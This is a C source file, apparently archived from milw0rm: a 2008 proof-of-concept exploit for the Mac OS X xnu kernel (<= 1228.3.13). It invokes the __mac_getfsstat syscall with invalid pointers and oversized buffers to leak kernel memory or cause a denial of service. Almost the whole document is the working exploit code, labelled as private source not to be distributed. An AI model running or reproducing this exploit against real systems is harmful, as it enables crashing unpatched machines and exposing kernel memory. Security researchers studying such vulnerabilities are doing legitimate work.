63 lines
No EOL
1.6 KiB
C
63 lines
No EOL
1.6 KiB
C
/* xnu-macfsstat-leak.c
|
|
*
|
|
* Copyright (c) 2008 by <mu-b@digit-labs.org>
|
|
*
|
|
* Apple MACOS X xnu <= 1228.3.13 local kernel memory leak/DoS POC
|
|
* by mu-b - Sun 13 Apr 2008
|
|
*
|
|
* - Tested on: Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)
|
|
* Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386)
|
|
*
|
|
* - Private Source Code -DO NOT DISTRIBUTE -
|
|
* http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
|
|
#include <fcntl.h>
|
|
#include <string.h>
|
|
#include <sys/mount.h>
|
|
#include <sys/syscall.h>
|
|
#include <sys/utsname.h>
|
|
#include <unistd.h>
|
|
|
|
#define LEAK_BUFBYTES(a) (sizeof (struct statfs)*a)
|
|
#define LEAK_MACBYTES(a) (sizeof (int)*a)
|
|
|
|
struct __mac_getfsstat {
|
|
char *buf; char _pad[4];
|
|
int bufsize; char __pad[4];
|
|
char *mac; char ___pad[4];
|
|
int macsize; char ____pad[4];
|
|
int flags; char _____pad[4];
|
|
};
|
|
|
|
int
|
|
main (int argc, char **argv)
|
|
{
|
|
struct __mac_getfsstat req;
|
|
int i, n;
|
|
|
|
printf ("Apple MACOS X xnu <= 1228.3.13 local kernel memory leak/DoS PoC\n"
|
|
"by: <mu-b@digit-labs.org>\n"
|
|
"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");
|
|
|
|
memset (&req, 0, sizeof req);
|
|
req.buf = (char *) 0xDEADBEEF;
|
|
req.bufsize = LEAK_BUFBYTES (65536 * 64);
|
|
req.mac = (char *) 0xDEADBEEF;
|
|
req.macsize = LEAK_MACBYTES (65536 * 64);
|
|
|
|
for (i = 0; i < 2; i++)
|
|
{
|
|
if ((n = syscall (SYS___mac_getfsstat, req.buf, req.bufsize, req.mac, req.macsize, req.flags)) < 0)
|
|
{
|
|
fprintf (stderr, "leaked %lu-bytes of kernel memory!\n", LEAK_MACBYTES (65536 * 64));
|
|
}
|
|
}
|
|
|
|
return (EXIT_SUCCESS);
|
|
}
|
|
|
|
// milw0rm.com [2009-03-23]
|